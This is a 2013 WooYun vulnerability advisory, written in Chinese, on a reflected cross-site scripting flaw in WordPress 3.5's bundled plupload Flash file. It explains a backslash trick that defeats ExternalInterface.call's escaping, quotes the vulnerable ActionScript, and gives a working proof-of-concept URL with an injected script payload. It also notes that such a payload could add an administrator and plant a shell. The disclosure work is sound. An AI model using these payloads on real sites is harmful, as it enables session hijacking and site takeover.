当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017189

漏洞标题:Flash应用安全系列[3]--WordPress反射型跨站(0day)

相关厂商:WordPress

漏洞作者: p.z

提交时间:2013-01-11 11:03

修复时间:2013-02-25 11:03

公开时间:2013-02-25 11:03

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-02-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

WordPress3.5某处Flash应用存在漏洞,可能导致跨站脚本攻击。
当一个已经登录后台的会话访问某一特定网页时,攻击者精心构造的payload可以在后台添加一个同等权限的用户,并写入Shell(如果权限允许的话)。
http://player.youku.com/player.php/sid/XNTAwMjY0MzQ4/v.swf

详细说明:

这种类型的漏洞是Google的大牛Michal Zalewski最先公开的,我这里就简单说明下。(原文 The other reason to beware ExternalInterface.call() -- http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html)
as脚本运行flash.external.ExternalInterface.call($methodName, $parameter)时,flash player会调用HTML的js,运行

try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>"; }


如果我们试着尝试在$parameter中加入" 如flash.external.ExternalInterface.call("alert",'"2'),js运行的是

try { __flash__toXML(alert("\"2")) ; } catch (e) { "<undefined/>"; }


flash player会对"进行转义,但搞笑的是对于传入的\,flash player却原样输出了,如此一来,我们就可以利用传入的\去转义原本用来转义"的转义符\。
flash.external.ExternalInterface.call("alert",'\\"2')

try { __flash__toXML(alert("\\"2")) ; } catch (e) { "<undefined/>"; }


剩下的就是闭合)}这类的事情了

flash.external.ExternalInterface.call("alert",'\\"2))}catch(e){alert(3)//')
try { __flash__toXML(alert("\\"2))}catch(e){alert(3)//}")) ; } catch (e) { "<undefined/>"; }


Vulnerable SWF File: /wp-includes/js/plupload/plupload.flash.swf
Vulnerable Code:
com.plupload.Plupload

private function init(event:Event = null) : void
{
removeEventListener(Event.ADDED_TO_STAGE, this.init);
this.id = this.stage.loaderInfo.parameters["id"];
...
this.fireEvent("Init");
return;
}// end function
...
private function fireEvent(param1:String, param2:Object = null) : void
{
ExternalInterface.call("plupload.flash.trigger", this.id, param1, param2);
return;
}// end function


原始SWF下载:http://swfpoc.appspot.com/vul/wordpress_plupload.flash.swf

漏洞证明:

Proof of Concept:
http://wordpress/wp-includes/js/plupload/plupload.flash.swf?id=0\"))}catch(e){if(!window.x){window.x=1;alert(2)}}//

修复方案:

版权声明:转载请注明来源 p.z@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝